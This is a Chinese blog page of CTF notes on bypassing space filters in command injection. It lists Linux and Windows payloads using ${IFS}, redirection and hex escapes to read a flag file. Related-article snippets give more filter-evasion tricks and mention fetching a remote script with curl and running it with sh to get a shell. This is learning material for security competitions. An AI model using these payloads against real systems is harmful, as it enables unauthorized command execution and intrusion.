在CTF比赛中，命令中空格被过滤的解决方法

最新推荐文章于 2026-07-19 16:31:11 发布

原创最新推荐文章于 2026-07-19 16:31:11 发布 · 7.8k 阅读

33 ·

本内容遵循CC 4.0 BY-SA版权协议

收录于

ctf

当前文章被收录于：

ctf

57 篇文章 2 人学习

订阅专栏查看详情

当前文章被以下社区和专栏收录：

本文分享了在Linux和Windows环境下巧妙读取文件的方法，包括使用cat和type命令的多种语法绕过技巧，如利用IFS变量、十六进制转义序列及特殊字符组合。

1、linux

{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格，这里通过变量的方式巧妙绕过)

2、windows下

（实用性不是很广，也就type这个命令可以用）
type.\flag.txt
type,flag.txt
echo,123456

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

HyyMbb

关注关注

6
点赞
踩
33

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

CTFHub技能书解题笔记-RCE-过滤cat

qq_43006864的博客

04-01

3138

打开题目，提示我们过滤了cat命令，也就是不能用cat来读取flag的值。这里的话我就去查了linux读取文件的命令。 cat 从第一行开始显示文本内容（适用于内容较少的） Tac 从最后一行开始显示，是 cat 的逆顺序 More 一页一页的显示文本内容（适用于内容较多的） less 与 more 类似，但是比 more 更好的是，它可以..

参与评论您还未登录，请先登录后发表或查看评论

【CTF】buuctf web（一）——命令执行

m0_52923241的博客

07-26

3708

[ACTF2020 新生赛]Exec 抓包看看得到信息：以post方式通过变量target传参

几道ctf 命令注入题目的解法

shatianyzg的博客

08-26

1300

输入127.0.0.1 & cd flag_is_here;cat flag_138811873632297.php,找到flag。输入127.0.0.1%0als#,这里%0a在linux 代表空格，url编码，需要在浏览器中输入。用127.0.0.1;输入127.0.0.1;，空格，cat，flag，ctfhub。输入127.0.0.1%0als${IFS}fla*#将cat换成more命令，再查看源代码，找到flag。输入127.0.0.1;输入127.0.0.1;输入127.0.0.1%0acd。.

CTF实战：绕过Ping命令注入中的空格过滤（GXYCTF2019题解）

weixin_29254029的博客

03-20

366

本文详细解析了GXYCTF2019比赛中Ping命令注入题目的解题技巧，重点介绍了如何利用IFS变量和其他特殊字符绕过空格过滤机制。通过实战案例展示了多种命令注入绕过方法，包括字符串拼接、Base64编码执行和内联命令执行等，帮助安全研究人员提升CTF竞赛中的漏洞利用能力。

CTF-shell_exec-Wp

qq_28545703的博客

10-29

1661

CTF-shell_exec-Wp 题目是这样的，ping命令测试查看html源代码看到一个tip 解题过程一经过大量测试目的其实就是执行cat /flag 但是发现有过滤了空格，这里我们$IFS$9代替我是利用echo curl http://xxxxx.com/1.php >a ,然后执行sh a这样拿shell的,需要绕过php 最终poc： #第一条，把vps的<?php system('cat /flag')>写进去a `echo$IFS$9curl$IFS$9112h

SQL注入-过滤空格

qq_24899063的博客

11-08

2230

SQL注入-过滤空格

命令执行绕过

人若无名，便可专心练剑

07-15

642

BUUCTF文件上传

sql注入空格被过滤_SQL注入基础整理 - 11阳光

weixin_39867125的博客

10-21

1581

题记本文转自前言：对已知的SQL注入手段作了较为全面和详尽的整理，大概是我几年的全部积累了，虽然可能有许多遗漏的地方，但我相信还是很有参考价值的。本文的注入场景为：一、基础注入 1.联合查询即最常见的union注入：若前面的查询结果不为空，则返回两次查询的值：若前面的查询结果为空，则只返回union查询的值：查完数据库接下来就要查表名：' union selectgroup_c...

SQL注入中空格与逗号过滤的绕过技巧总结

HuaweiLab_Peach的博客

03-18

3353

大家好，今天想和大家分享一些实用的技巧，专门针对渗透测试或CTF比赛中可能遇到的特殊字符过滤问题。这篇文章主要讲解当遇到空格和逗号过滤时，如何巧妙地进行绕过，让我们的SQL注入成功执行。

CTF下的命令执行

最新发布

weixin_33978578的博客

07-19

251

命令注入是Web安全中常见的高危漏洞，攻击者通过应用接口将恶意系统命令注入后端执行。其原理在于用户输入未经充分校验便被拼接到系统命令中，由Shell解释器执行。理解Shell的解析机制——包括词法分割、展开与执行流程——是防御与渗透测试的关键。在安全评估与CTF比赛中，掌握绕过过滤的技巧具有重要价值，例如当输入中的空格或敏感关键词被拦截时，可利用Shell元字符特性实现绕过。本文以典型CTF场景为例，深入解析如何运用$IFS变量、重定向符及通配符等技巧，在命令执行上下文受限的情况下，有效突破过滤机制，实现对

过滤html中的空格_CTF中的命令执行绕过

weixin_39808803的博客

12-15

589

在介绍命令注入之前，有一点需要注意：命令注入与远程代码执行不同。他们的区别在于，远程代码执行实际上是调用服务器网站代码进行执行，而命令注入则是调用操作系统命令进行执行。作为CTF最基础的操作，命令执行的学习主要是为了以后进一步使用webshell打下基础同样的，今天还会介绍如何使用各种命令执行绕过的方式首先我们先来看代码执行动态调用：这个地方是ctf曾经的一个考点，也是我在强网杯出过的一...

CTF中的命令执行绕过

蚁景网安学院

04-21

3772

作为CTF最基础的操作，命令执行的学习主要是为了以后进一步使用webshell打下基础

CTFHub 命令注入-过滤空格

MisteWang的博客

12-03

634

读取时使用<> tac<>flag.php ###该题使用<>好像不行。使用${IFS}代替空格， tac${IFS}flag.php。tac或者cat %09（空格） flag*特殊符号代替空格 %09 %0b %0c。

手把手教你用PHPStudy在Windows上复现CTF Ping命令注入漏洞（含绕过空格过滤技巧）

weixin_30764771的博客

05-30

363

本文详细指导如何在Windows系统上使用PHPStudy搭建CTF命令注入靶场，重点解析Ping命令注入漏洞的原理与利用技巧，包括基础注入测试、多命令执行及绕过空格过滤的高级方法。适合Web安全初学者通过实战掌握漏洞复现与防御措施。

ctf关于ping的题目_CTF中的命令执行绕过

weixin_39810196的博客

11-04

3147

手把手教你用Linux命令注入绕过空格过滤，拿下CTF-WEB-PingMe02靶场Flag

weixin_33727510的博客

05-30

436

本文详细介绍了在CTF比赛中绕过Linux命令注入空格过滤的5种高级技巧，包括使用环境变量IFS、通配符与特殊字符替代、命令串联与编码等。通过实战案例和Burp Suite自动化测试方法，帮助安全研究人员有效突破WEB安全挑战，提升CTF竞赛表现。